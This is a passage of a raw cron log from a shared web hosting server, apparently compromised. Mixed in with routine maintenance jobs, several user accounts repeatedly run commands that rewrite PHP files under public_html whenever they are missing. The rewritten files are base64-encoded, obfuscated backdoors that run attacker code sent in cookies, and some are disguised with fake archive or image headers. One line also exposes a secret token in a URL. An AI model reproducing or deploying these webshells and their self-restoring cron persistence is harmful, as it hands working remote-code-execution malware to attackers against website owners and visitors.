aD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:54:01 medusa CROND[9541]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:54:01 medusa CROND[9550]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:54:01 medusa CROND[9551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:54:01 medusa CROND[9549]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:54:01 medusa CROND[9543]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 04:54:01 medusa CROND[9548]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:55:01 medusa CROND[1744]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 04:55:01 medusa CROND[1827]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 04:55:01 medusa CROND[1843]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:55:01 medusa CROND[1845]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 04:55:01 medusa CROND[1846]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 04:55:01 medusa CROND[1850]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 04:55:01 medusa CROND[1851]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:55:01 medusa CROND[1852]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 04:55:01 medusa CROND[1854]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:55:01 medusa CROND[1847]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 04:55:01 medusa CROND[1849]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 04:55:01 medusa CROND[1853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:55:01 medusa CROND[1864]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:55:01 medusa CROND[1865]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 04:55:01 medusa CROND[1867]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:55:01 medusa CROND[1874]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 04:55:01 medusa CROND[1878]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:55:01 medusa CROND[1880]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:55:01 medusa CROND[1885]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 04:55:01 medusa CROND[1887]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:55:01 medusa CROND[1890]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:55:01 medusa CROND[1895]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:56:01 medusa CROND[26240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:56:01 medusa CROND[26241]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:56:01 medusa CROND[26239]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:56:01 medusa CROND[26243]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:56:01 medusa CROND[26244]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:56:01 medusa CROND[26245]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:56:01 medusa CROND[26242]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:56:01 medusa CROND[26246]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:56:01 medusa CROND[26247]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 04:56:01 medusa CROND[26249]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 04:56:01 medusa CROND[26263]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 04:56:01 medusa CROND[26265]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkg